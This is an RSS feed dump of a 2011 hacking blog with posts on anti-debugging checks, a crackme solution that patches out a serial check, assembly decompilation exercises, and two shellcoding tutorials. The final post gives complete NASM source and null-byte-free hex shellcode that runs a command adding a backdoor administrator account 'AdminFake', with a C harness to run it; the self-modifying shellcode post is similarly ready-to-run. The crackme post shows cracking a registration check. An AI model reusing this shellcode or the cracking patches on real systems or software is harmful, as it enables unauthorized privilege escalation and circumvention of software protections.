hakers.info » b0mbard http://localhost:8008/site Hacking made easy... Tue, 18 Oct 2011 06:20:51 +0000 en hourly 1 http://wordpress.org/?v=3.2.1 Anti Debugging unleashed series # Part 2 http://localhost:8008/site/2011/09/anti-debugging-unleashed-series-part-2/ http://localhost:8008/site/2011/09/anti-debugging-unleashed-series-part-2/#comments Thu, 29 Sep 2011 16:37:13 +0000 b0mbard http://hakers.info/site/?p=223 NTGlobalFlag NTGlobalFlag lies at an offset 0x68 from PEB. The value of NTGlobalFlag
 is 0 when the process is not bein debugged. However, if the process is
 being debugged, the value of this flag is 0x70.

First we see the starting of PEB in windbg:

0:000> !peb
PEB at 7ffd6000
    InheritedAddressSpace:    No
    ReadImageFileExecOptions: No
    BeingDebugged:            Yes
    ImageBaseAddress:         00400000

Lets parse the PEB:

0:000> dt _PEB 7ffd6000
ntdll!_PEB
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
   +0x003 SpareBool        : 0 ''
   +0x004 Mutant           : 0xffffffff
   +0x008 ImageBaseAddress : 0x00400000
   +0x00c Ldr              : 0x00271ea0 _PEB_LDR_DATA
   +0x010 ProcessParameters : 0x00020000 _RTL_USER_PROCESS_PARAMETERS
   +0x014 SubSystemData    : (null)
   +0x018 ProcessHeap      : 0x00170000
   +0x01c FastPebLock      : 0x7c980600 _RTL_CRITICAL_SECTION
   +0x020 FastPebLockRoutine : 0x7c901000
   +0x024 FastPebUnlockRoutine : 0x7c9010e0
   +0x028 EnvironmentUpdateCount : 1
   +0x02c KernelCallbackTable : (null)
   +0x030 SystemReserved   : [1] 0
   +0x034 AtlThunkSListPtr32 : 0
   +0x038 FreeList         : (null)
   +0x03c TlsExpansionCounter : 0
   +0x040 TlsBitmap        : 0x7c9805c0
   +0x044 TlsBitmapBits    : [2] 1
   +0x04c ReadOnlySharedMemoryBase : 0x7f6f0000
   +0x050 ReadOnlySharedMemoryHeap : 0x7f6f0000
   +0x054 ReadOnlyStaticServerData : 0x7f6f0688  -> (null)
   +0x058 AnsiCodePageData : 0x7ffb0000
   +0x05c OemCodePageData  : 0x7ffc1000
   +0x060 UnicodeCaseTableData : 0x7ffd2000
   +0x064 NumberOfProcessors : 2
   +0x068 NtGlobalFlag : 0x70

As you can see, the NtGlobalFlag is set to 0x70.

Following is the assembly code to detect the same:
MOV EAX, fs:[0x30]       ;PEB in eax

MOV EAX, dword ptr[EAX+0x68]  ;Value of NTGlobalFlag in EAX

CMP EAX,0x70			 ;If equal, means debugger present

HeapFlags
As a side effect of NtGlobalFlags being set, heaps that are created
will have some flags turned on that can be used for anti debugging.
 Every process has a default process heap. Flags and ForceFlags for
a heap are 0x02(means the heap can grow) and 0 respectively. However,
 when debugging, they are set to 0x50000062 and 0x40000060

   Lets see the whole picture in windbg:

0:000> dt _PEB 7ffd6000
ntdll!_PEB
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
   +0x003 SpareBool        : 0 ''
   +0x004 Mutant           : 0xffffffff
   +0x008 ImageBaseAddress : 0x00400000
   +0x00c Ldr              : 0x00271ea0 _PEB_LDR_DATA
   +0x010 ProcessParameters : 0x00020000 _RTL_USER_PROCESS_PARAMETERS
   +0x014 SubSystemData    : (null)
   +0x018 ProcessHeap : 0x00170000
   +0x01c FastPebLock      : 0x7c980600 _RTL_CRITICAL_SECTION

So, we know that the default process heap gets created at address
0x00170000. Lets parse the heap at this address:

0:000> dt _HEAP 170000
ntdll!_HEAP
   +0x000 Entry            : _HEAP_ENTRY
   +0x008 Signature        : 0xeeffeeff
   +0x00c Flags : 0x50000062
 +0x010 ForceFlags : 0x40000060
   +0x014 VirtualMemoryThreshold : 0xfe00
   +0x018 SegmentReserve   : 0x100000
   +0x01c SegmentCommit    : 0x2000

So, malware authors can check these values for detecting the debuggers. Following is the assembly code to find the same(consider the debugger running):

MOV EAX, FS:[0x30]      ;Go to PEB

MOV EAX, dword ptr[EAX+0x18]   ;EAX holds the address of default
                               ;process heap

MOV EBX, dword ptr[EAX+0xc]     ;EBX holds the value of Flags

MOV ECX, dword ptr[EAX+0x10]   ;ECX holds the ForceFlags

]]>
http://localhost:8008/site/2011/09/anti-debugging-unleashed-series-part-2/feed/ 0
PE Parser http://localhost:8008/site/2011/09/pe-parser/ http://localhost:8008/site/2011/09/pe-parser/#comments Thu, 29 Sep 2011 15:37:53 +0000 b0mbard http://hakers.info/site/?p=218 Understanding the structure of PE file is very important from the reverser’s point of view. And, I think the best way to learn it is to code a PE file parser itself. So, here is my PE Parser. This was compiled using Visual studio 8.

(Change the exetension to .rar)

PE_Parser download

 

Ch33r5 !!! :)

]]>
http://localhost:8008/site/2011/09/pe-parser/feed/ 0
Anti Debugging unleashed series # Part 1 http://localhost:8008/site/2011/09/anti-debugging-unleashed-series-part-1/ http://localhost:8008/site/2011/09/anti-debugging-unleashed-series-part-1/#comments Mon, 26 Sep 2011 14:52:48 +0000 b0mbard http://hakers.info/site/?p=213 This is the first in the series of anti debugging tricks. I will discuss the various anti debugging tricks one by one in my further posts:

 

I will start with the most basic ones.

 

The first one in the race is the PEB.BeingDebugged flag.

PEB refers to Process Environment Block, and it contains the information regarding the Environment and various parameters of a process. fs:[0x30] always points to PEB. The structure of PEB can be seen using the following command in windbg:

 

0:000> dt _PEB

 

+0×000 InheritedAddressSpace : UChar

+0×001 ReadImageFileExecOptions : UChar

+0×002 BeingDebugged : UChar

+0×003 SpareBool : Uchar

 

For a process that is being debugged, note the peb.BeingDebugged flag below in windbg:

 

!peb

PEB at 7ffda000

InheritedAddressSpace: No

ReadImageFileExecOptions: No

BeingDebugged: Yes

ImageBaseAddress: 00400000

Ldr 00261ea0

 

Hence, a program using the anti debugging techniques can use this flag to know whether the program is being debugged or not.

 

The api IsDebuggerPresent() in kernel32.dll checks this flag to determine the presence of the debugger.

 

This check can be easily bypassed by patching the PEB.BeingDebugged flag to 0.

 

Ch33r5 !!!

 

]]>
http://localhost:8008/site/2011/09/anti-debugging-unleashed-series-part-1/feed/ 1
Zi_Crakme http://localhost:8008/site/2011/09/zi_crakme/ http://localhost:8008/site/2011/09/zi_crakme/#comments Fri, 02 Sep 2011 17:08:17 +0000 b0mbard http://hakers.info/site/?p=161  

 

 

Zi _Crackme (Download crackme)

 Zi_Crackme

=========

This is a simple crackme, and it took only 5 minutes to crack fom a noobe like me. Here comes the solution:

 

Target Study

=========

Run the target. You see something like the below:

We need to change the registration routine, so that whatever the input we give, it accepts it.

 

Fire the olly. Now, the problem is how do we reach the routine where this serial registration is shown. I tried looking at call stack, but of no help. What to do now ?

 

Lets use the “animate” feature of the olly to reach near this registration routine. Do “animate over”, and whenever you get the serial registration screen, there should be a call which lead to the screen. So, breakpoint the call, do F9, step in(F7), and “Animate over” again. Doing this again and again will take you closer to the registration routine.

 

 

When we follow the above strategy, we see something like:

Stepping over the code, we see the following:

 

If the EAX is 0, then CMP EAX,0 will set the zero flag, and the JNZ will lead to the wrong serial. So, we need to patch the code somewhere here. There can be many possibilities, and for that brain usage is strictly recommended ;) I will simply NOP the JNZ instruction, and check if it runs es, it fine. Yes, I can see the message “Well Done”.

 

But But But ……. OOPS !! Address A50183 is allocated at runtime, so we cannt directly change the instruction to nop. We need to write a loader for it.

 

So, here is the script for loader(I am using RISC Loader creater)

O=risc_Zi _Crackme.exe: ;Output filename

F=Zi _Crackme.exe: ;File to patch

 

T=50000: ;Patching times

P=00A50183/0F,85,20,00,00,00/90,90,90,90,90,90: ;Patch the JNZ

$

However, the loader this script will create doesnt work. :( So, I tried out some more reversing and found the reason. The address A50000h gets populated with instructions after you have entered the serial. In the meantime you enter the serial, the loader has already finished.

 

By reversing in depth(again using animate over and F7 trick), I found the following instruction to be responsible for copying the code.

 

10099FE3 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]

 

He He…. so everything is clear now. The code from the location specified by ESI gets copied to the location specified by EDI. Think… think .. think.. !! You only need to change the corresponding instruction from ESI.

 

EDI = 0A50000

ESI = 1016cb5c

 

A50183-A50000=183h

So, adding 183h to ESI

1016cb5c+183h=1016CCDF

 

You will notice that it is the same JNZ instruction at address 1016CCDF. Its your wish now whether to directly patch it, or change the address in RISC loader creator script.

The new RISC loader script is:

 

O=risc_Zi _Crackme.exe: ;Output filename

F=Zi _Crackme.exe: ;File to patch

 

P=1016ccdf/0F,85,FC,FF,FF,FF/90,90,90,90,90,90: ;Patch the JNZ

$

 

 

Yippie !!!! it works beautifully.

 

 

CHEERS !!!! :)

 

 

 

 

 

 

 

 

]]>
http://localhost:8008/site/2011/09/zi_crakme/feed/ 3
Binary-auditing training package – Manual decompilation, Exercise 8 http://localhost:8008/site/2011/08/binary-auditing-training-package-manual-decompilation-exercise-8/ http://localhost:8008/site/2011/08/binary-auditing-training-package-manual-decompilation-exercise-8/#comments Sat, 13 Aug 2011 13:45:53 +0000 b0mbard http://hakers.info/site/?p=125 This problem statement is part of binary-auditing package. This needs
to be converted to HLL

Problem:(Assembly code)

sub_408138 proc near
000 push ebx
004 push esi
008 mov esi, edx
008 dec esi
008 test esi, esi
008 jl short loc_40816F
008 inc esi
loc_408142:
008 xor edx, edx
008 mov dl, [eax]
008 xor ebx, ebx
008 mov bl, cl
008 add edx, ebx
008 test edx, edx
008 jge short loc_40815B
008 mov ebx, 100h
008 sub ebx, edx
008 mov edx, ebx
008 jmp short loc_408169
loc_40815B:
008 cmp edx, 100h
008 jle short loc_408169
008 sub edx, 100h
loc_408169:
008 mov [eax], dl
008 inc eax
008 dec esi
008 jnz short loc_408142
loc_40816F:
008 pop esi
004 pop ebx
000 retn
sub_408138 endp

 
Pseudo/High Level code:
var_esi = var_edx;
var_esi -- ;

if(var_esi >=0)
var_esi++;

do
{
var_edx=0;
LOWER byte of EDX=*var_eax;  //EAX supplied from outside

var_ebx=0;
LOWER byte of EBX=LOWER byte of ECX;  //ECX supplied from outside

var_edx=var_edx+var_ebx;

if(var_edx<0)
{
var_ebx=100h;   //256
var_ebx=var_ebx-var_edx;
var_edx=var_ebx;
}
else
{
if(var_edx>100h)
var_edx=var_edx-100h;
}

*var_eax=LOWER byte of EDX
var_eax++;
}while(--var_edx!=0)
]]>
http://localhost:8008/site/2011/08/binary-auditing-training-package-manual-decompilation-exercise-8/feed/ 0
binary-auditing RCE exercise http://localhost:8008/site/2011/08/binary-auditing-rce-exercise/ http://localhost:8008/site/2011/08/binary-auditing-rce-exercise/#comments Thu, 11 Aug 2011 18:27:39 +0000 b0mbard http://hakers.info/site/?p=115 As a part of learning reverse engineering and enhancing RCE skills, I was going through binary-auditing tutorials. This is manual decompilation exercise 7. Problem: This is the code to be analysed: proc near 000 push ebx 004 push esi 008 xor ebx, ebx 008 mov [eax], ebx 008 mov ebx, ecx 008 dec ebx 008 test ebx, ebx 008 jl short loc_408135 008 inc ebx loc_40810E: 008 mov ecx, [eax] 008 shl ecx, 4 008 movzx esi, byte ptr [edx] 008 add ecx, esi 008 mov [eax], ecx 008 mov ecx, [eax] 008 and ecx, 0F0000000h 008 test ecx, ecx 008 jz short loc_40812D 008 mov esi, ecx 008 shr esi, 18h 008 xor [eax], esi loc_40812D: 008 not ecx 008 and [eax], ecx 008 inc edx 008 dec ebx 008 jnz short loc_40810E loc_408135: 008 pop esi 004 pop ebx 000 retn sub_408100 endp

And here is the solution:
var1_eax  //eax  -->pointer variable
var2_ebx=0;
var4_edx;
var5_esi;
*var1_eax=0;
var2_ebx= ecx;

var2_ebx--;

if(var2_ebx >=0)
{
var2_ebx++;
}
else
return;

do
{
var3_ecx=*var1_eax; //value of eax
var3_ecx=var3_ecx*16;   //multiply by 16
var5_esi=BYTE at var4_edx;   //movzx
var3_ecx=var3_ecx+var5_esi;
*var1_eax=var3_ecx;
var3_ecx=*var1_eax;
var3_ecx=var3_ecx&0F0000000h;

if(var3_ecx!=0)
{
var5_esi=var3_ecx;
var5_esi=var5_esi/24;
*var1_eax=(*var1_eax)^var5_esi;
}

var3_ecx=! var3_ecx
*var1_eax=(*var1_eax)&var_ecx;

var4_edx++;

}while(var2_ebx-- != 0)
]]>
http://localhost:8008/site/2011/08/binary-auditing-rce-exercise/feed/ 1
Writing Self modifying shellcode http://localhost:8008/site/2011/07/writing-self-modifying-shellcode/ http://localhost:8008/site/2011/07/writing-self-modifying-shellcode/#comments Sun, 31 Jul 2011 17:59:41 +0000 b0mbard http://hakers.info/site/?p=51  

Nowadays, as I am working on the shellcoding, I thought of writing the self modifying shellcode. Normally, this kind of behaviour is seen in malwares, packers etc, where the code gets modified due to the other instructions. Lets have a look how to do so:

 

I will be taking the example of MessageBox shellcode. This shellcode I have prepared earlier. Using it as a basis, I would write the self modifying code. The shellcode for MessageBox looks like:

 

004040A0 31DB       XOR EBX,EBX ;Zero the EBX

004040A2 68 47474700       PUSH 0×00474747 ;PUSH “GGG”

004040A7 8BDC                     MOV EBX,ESP ;Mov stack ptr in EBX

004040A9 50                  PUSH EAX ;Push EAX. We will make it 0 first

004040AA 53               PUSH EBX

004040AB 53             PUSH EBX

004040AC 50            PUSH EAX

004040AD BB 0B05D877        MOV EBX,0x77D8050B ;USER32.MessageBoxA ;

004040B2 FFD3         CALL EBX

004040B4 33C0        XOR EAX,EAX

004040B6 50          PUSH EAX

004040B7 BB A2CA817C         MOV EBX,0x7C81CAA2 ;kernel32.ExitProcess ;

004040BC FFD3                  CALL EBX

 

This shellcode will produce a messageBox with the title and the message as “GGG”.

 

So, what is required to write a self modifying code? We can divide the whole complexity in few steps:

 

  1. We need to know the address in the memory where our code starts execution. This is required to modify the instructions.
  2. We will then change the instructions one by one, modifying the existing instructions and write our shellcode.

 

The question is how to know the starting address of our code. We will use the following instructions to accomplish this:

FLDZ

FSTENV

 

These are the FPU instructions. When FSTENV instruction is preceded by some other FPU instruction (in our case, it is FLDZ), then the result of the FSTENV is pushed on to the stack, and the result is none other than the address of the previous FPU instruction. More details can be seen at: http://www.website.masmforum.com/tutorials/fptute/fpuchap3.htm#fstenv

 

So, what this means, is that if we give these two instructions along with each other in the beginning of our shellcode, we can get the starting point of our code. Lets see how to do it:

 

FLDZ

FSTENV [ESP-0xC] ;

 

The net result of the above two instructions will be the address of FLDZ instruction gets saved on to the stack. So, we have control over the code now.

 

PS: When the above two instructions are used together, a WAIT instruction is introduced in between, which can be seen when you run it through a debugger.This WAIT is 1 byte instruction. You can also use FNSTENV instruction, which doesnt put an extra WAIT instruction between the two.

 

Note: The address for the MessageBox function in my windows XP SP2 is 0x77BB050B

and the address for ExitProcess function is 0X7CBBA2CA

 

The following code does the job:

 

[Section .text]

BITS 32

 

global _start

 

_start:

FLDZ ;This takes 2 bytes. However, if you look in debugger, a WAIT instruction is also

;added automatically which takes 1 byte

FSTENV [ESP-0xC] ;So ,now ESP points to the first instruction. Hence, we can control our code ;Also,this instruction takes 5 bytes

POP ECX ;This takes 1 byte instruction.

 

MOV WORD[ECX],0xDB31 ; Puts xor ebx,ebx by overwriting FLDZ

MOV DWORD[ECX+2],0×47474768 ;Push letter “GGG” on the stack(overwrite the next ;instruction)

MOV BYTE[ECX+6],0×48 ;Placeholder for null byte

XOR EAX,EAX

MOV BYTE[ECX+6],AL ;changes the string to “GG”,0 and hence an actual string

MOV WORD[ECX+7],0xDC8B ;Mov EBX,ESP– the pointer to the string

MOV BYTE[ECX+9],0×50 ;PUSH EAX, fourth parameter… MB_OK

MOV BYTE[ECX+10],0×53 ;PUSH EBX, the third parameter

MOV BYTE[ECX+11],0×53 ;PUSH EBX, the second parameter

MOV BYTE[ECX+12],0×50 ;PUSH EAX, first parameter… 0

MOV DWORD[ECX+13],0xD8050BBB ;These two instructions move the address of

MOV BYTE[ECX+17],0×77 ;MessageBox function in EBX register

;Note:This will differ for you according to the ;MessageBox function address

MOV WORD[ECX+18],0xD3FF ;CALL EBX

MOV WORD[ECX+20],0xC033 ;XOR EAX,EAX

MOV BYTE[ECX+22],0×50 ;PUSH EAX (=0) on stack

MOV DWORD[ECX+23],0x81CAA2BB ;These two instructions will

MOV BYTE[ECX+27],0x7c ;call ExitProcess() function. Note: This will differ ;according to the ExitProcess() function address

MOV WORD[ECX+28],0xD3FF ;call EBX

JMP ECX ;Jump to the beginning of our code which has been ;modified

 

Compile the above code using NASM, and you can use pveReadBin utility (Thanks to corelan team) to extract the hex codes for the above instructions. Test them in the shellcodetest program as follows:

#include<windows.h>

 

char code[]=

 

“\xd9\xee\x9b\xd9\x74\x24\xf4\x59″

“\x66\xc7\x01\x31\xdb\xc7\x41\x02″

“\x68\x47\x47\x47\xc6\x41\x06\x48″

“\x31\xc0\x88\x41\x06\x66\xc7\x41″

“\x07\x8b\xdc\xc6\x41\x09\x50\xc6″

“\x41\x0a\x53\xc6\x41\x0b\x53\xc6″

“\x41\x0c\x50\xc7\x41\x0d\xbb\x0b”

“\x05\xd8\xc6\x41\x11\x77\x66\xc7″

“\x41\x12\xff\xd3\x66\xc7\x41\x14″

“\x33\xc0\xc6\x41\x16\x50\xc7\x41″

“\x17\xbb\xa2\xca\x81\xc6\x41\x1b”

“\x7c\x66\xc7\x41\x1c\xff\xd3\xff”

“\xe1″;

 

int main(int argc, char **argv)

{

int (*func)();

func=(int(*)())code;

(int)(*func)();

}

 

When this program is run, it will pop up the messagebox. I recommend to watch the running executable of the above program in a debugger(my favourites… Immunity/Ollydbg). This will help you to understand all the gaps left behind.

 

 

]]>
http://localhost:8008/site/2011/07/writing-self-modifying-shellcode/feed/ 1
Writing Shellcode http://localhost:8008/site/2011/07/writing-shellcode/ http://localhost:8008/site/2011/07/writing-shellcode/#comments Sun, 31 Jul 2011 17:55:22 +0000 b0mbard http://hakers.info/site/?p=48 The WinExec shellcode (NASM)

==============================

[Section .text]

BITS 32

 

global _start

 

_start:

JMP GetCmd

ReturnfromCommand:

POP EBX ;Holds the Pointer to the command string to be executed using WinExec

MOV ECX,1 ;Parameter 2 for WinExec SW_SHOWNORMAL

PUSH ECX ;Push the 2nd param on the stack

PUSH EBX ;Push the first Param

XOR EBX,EBX ;Zero the EBX register

MOV EBX,0x7c86114d ;WinExec address. found it using Arwin utility

CALL EBX ;Call the WinExec

XOR EAX,EAX ;Zero EAX

PUSH EAX ;Push EAX on the stack

XOR EBX,EBX ;Zero the EBX

MOV EBX,0X7c81caa2 ;Address of ExitProcess function

CALL EBX ;Call ExitProcess for clean exit

 

 

GetCmd:

CALL ReturnfromCommand ;This saves the EIP on the stack, which points to the next instruction to be executed

;In our case, the next instruction is nothing, but pointing to the string

;to be passed as the command to the WinExec function

db “cmd.exe /c net user AdminFake AdminPass /ADD && net localgroup Administrators /ADD AdminFake”,0

 

 

 

Now, we use the NASM to compile the WinExec.asm:

NASM WinExec.asm -o WinExec.bin

 

This generates the WinExec.bin file, and we extract the Hex codes from it using the pveReadBin.pl utility(corelan site):

pveReadBin.pl WinExec.bin

 

“\xeb\x1d\x5b\xb9\x01\x00\x00\x00″

“\x51\x53\x31\xdb\xbb\x4d\x11\x86″

“\x7c\xff\xd3\x31\xc0\x50\x31\xdb”

“\xbb\xa2\xca\x81\x7c\xff\xd3\xe8″

“\xde\xff\xff\xff\x63\x6d\x64\x2e”

“\x65\x78\x65\x20\x2f\x63\x20\x6e”

“\x65\x74\x20\x75\x73\x65\x72\x20″

“\x41\x64\x6d\x69\x6e\x46\x61\x6b”

“\x65\x20\x41\x64\x6d\x69\x6e\x50″

“\x61\x73\x73\x20\x2f\x41\x44\x44″

“\x20\x26\x26\x20\x6e\x65\x74\x20″

“\x6c\x6f\x63\x61\x6c\x67\x72\x6f”

“\x75\x70\x20\x41\x64\x6d\x69\x6e”

“\x69\x73\x74\x72\x61\x74\x6f\x72″

“\x73\x20\x2f\x41\x44\x44\x20\x41″

“\x64\x6d\x69\x6e\x46\x61\x6b\x65″

“\x00″;

 

Test the Hex code generated by putting it in the shellocdetest program:

 

char code[] = “shellcode here”

int main(int argc, char **argv)

{

int (*func)();

func = (int (*)()) code;

(int)(*func)();

}

 

Replace the “shellcode here” with the hex codes:

 

char code[] = “\xeb\x1d\x5b\xb9\x01\x00\x00\x00

“\x51\x53\x31\xdb\xbb\x4d\x11\x86″

“\x7c\xff\xd3\x31\xc0\x50\x31\xdb”

“\xbb\xa2\xca\x81\x7c\xff\xd3\xe8″

“\xde\xff\xff\xff\x63\x6d\x64\x2e”

“\x65\x78\x65\x20\x2f\x63\x20\x6e”

“\x65\x74\x20\x75\x73\x65\x72\x20″

“\x41\x64\x6d\x69\x6e\x46\x61\x6b”

“\x65\x20\x41\x64\x6d\x69\x6e\x50″

“\x61\x73\x73\x20\x2f\x41\x44\x44″

“\x20\x26\x26\x20\x6e\x65\x74\x20″

“\x6c\x6f\x63\x61\x6c\x67\x72\x6f”

“\x75\x70\x20\x41\x64\x6d\x69\x6e”

“\x69\x73\x74\x72\x61\x74\x6f\x72″

“\x73\x20\x2f\x41\x44\x44\x20\x41″

“\x64\x6d\x69\x6e\x46\x61\x6b\x65″

“\x00″;

int main(int argc, char **argv)

{

int (*func)();

func = (int (*)()) code;

(int)(*func)();

}

 

Compile, link and run the program. This will add an administrator user “AdminFake” with password “AdminPass”

 

NULL BYTE PROBLEM:

The above shellcode works fine as a standalone program. However, when we need to provide the input to some other program and exploit an overflow, we need to have null bytes eliminated. This makes sure that if the overflown buffer involves string functions, our shellcode would not terminate because of the null \x00 char. In the previous shellcode, there are 3 bytes initially, and one at the end. However, the end null byte need not be removed as it terminates the add user command.

So, Lets view the shellcodeTest.exe in immunity debugger

 

Note, that the three null bytes are due to MOV ECX,1 instruction. So, we need to overcome this in some manner.

There can be many ways to overcome this. One can be the following:

MOV ECX,99999999

SUB ECX,99999998

 

which is equivalent to MOV ECX,1. Thus, replace the MOV ECX,1 instruction with the above two statements and generate the shellcode again. For me, the shellcode comes out to be:

 

 

“\xeb\x23\x5b\xb9\xff\xe0\xf5\x05″

“\x81\xe9\xfe\xe0\xf5\x05\x51\x53″

“\x31\xdb\xbb\x4d\x11\x86\x7c\xff”

“\xd3\x31\xc0\x50\x31\xdb\xbb\xa2″

“\xca\x81\x7c\xff\xd3\xe8\xd8\xff”

“\xff\xff\x63\x6d\x64\x2e\x65\x78″

“\x65\x20\x2f\x63\x20\x6e\x65\x74″

“\x20\x75\x73\x65\x72\x20\x41\x64″

“\x6d\x69\x6e\x46\x61\x6b\x65\x20″

“\x41\x64\x6d\x69\x6e\x50\x61\x73″

“\x73\x20\x2f\x41\x44\x44\x20\x26″

“\x26\x20\x6e\x65\x74\x20\x6c\x6f”

“\x63\x61\x6c\x67\x72\x6f\x75\x70″

“\x20\x41\x64\x6d\x69\x6e\x69\x73″

“\x74\x72\x61\x74\x6f\x72\x73\x20″

“\x2f\x41\x44\x44\x20\x41\x64\x6d”

“\x69\x6e\x46\x61\x6b\x65\x00″;

 

And when I run the shellcodetest.exe, the user “AdminFake” is created.

 

However, still one null byte remains at the end of the shellcode. What to do now ? There is one solution though. We will modify our assembly code as follows:

 

[Section .text]

BITS 32

 

global _start

 

_start:

JMP GetCmd

ReturnfromCommand:

POP EBX ;Holds the Pointer to the command string to be executed using ;WinExec

 

XOR EAX,EAX

MOV [EBX+92],AL ;This will replace the placeholder ‘Z’ in the string with null byte

MOV ECX,99999999 ;These two instructions

SUB ECX,99999998 ;put 1 in ECX

PUSH ECX ;Push the 2nd param on the stack

PUSH EBX ;Push the first Param

XOR EBX,EBX ;Zero the EBX register

MOV EBX,0x7c86114d ;WinExec address. found it using Arwin utility

CALL EBX ;Call the WinExec

XOR EAX,EAX ;Zero EAX

PUSH EAX ;Push EAX on the stack

XOR EBX,EBX ;Zero the EBX

MOV EBX,0X7c81caa2 ;Address of ExitProcess function

CALL EBX ;Call ExitProcess for clean exit

 

 

GetCmd:

CALL ReturnfromCommand ;This saves the EIP, which points to the next instruction to be executed

;In our case, the next instruction is nothing, but pointing to the string

;to be passed as the command to the WinExec function

db “cmd.exe /c net user AdminFake AdminPass /ADD && net localgroup Administrators /ADD AdminFakeZ” ;Length= 92 characters. Note that we have added extra ‘Z’ character as a placeholder.

 

Assemble the above code, extract hex codes using pveReadBin.pl, and paste them in shellcodeTest.c.

For me, the shellcode comes to be:

“\xeb\x28\x5b\x31\xc0\x88\x43\x5c”

“\xb9\xff\xe0\xf5\x05\x81\xe9\xfe”

“\xe0\xf5\x05\x51\x53\x31\xdb\xbb”

“\x4d\x11\x86\x7c\xff\xd3\x31\xc0″

“\x50\x31\xdb\xbb\xa2\xca\x81\x7c”

“\xff\xd3\xe8\xd3\xff\xff\xff\x63″

“\x6d\x64\x2e\x65\x78\x65\x20\x2f”

“\x63\x20\x6e\x65\x74\x20\x75\x73″

“\x65\x72\x20\x41\x64\x6d\x69\x6e”

“\x46\x61\x6b\x65\x20\x41\x64\x6d”

“\x69\x6e\x50\x61\x73\x73\x20\x2f”

“\x41\x44\x44\x20\x26\x26\x20\x6e”

“\x65\x74\x20\x6c\x6f\x63\x61\x6c”

“\x67\x72\x6f\x75\x70\x20\x41\x64″

“\x6d\x69\x6e\x69\x73\x74\x72\x61″

“\x74\x6f\x72\x73\x20\x2f\x41\x44″

“\x44\x20\x41\x64\x6d\x69\x6e\x46″

“\x61\x6b\x65\x5a”;

 

This is the null free shellcode.

 

 

 

 

 

]]>
http://localhost:8008/site/2011/07/writing-shellcode/feed/ 0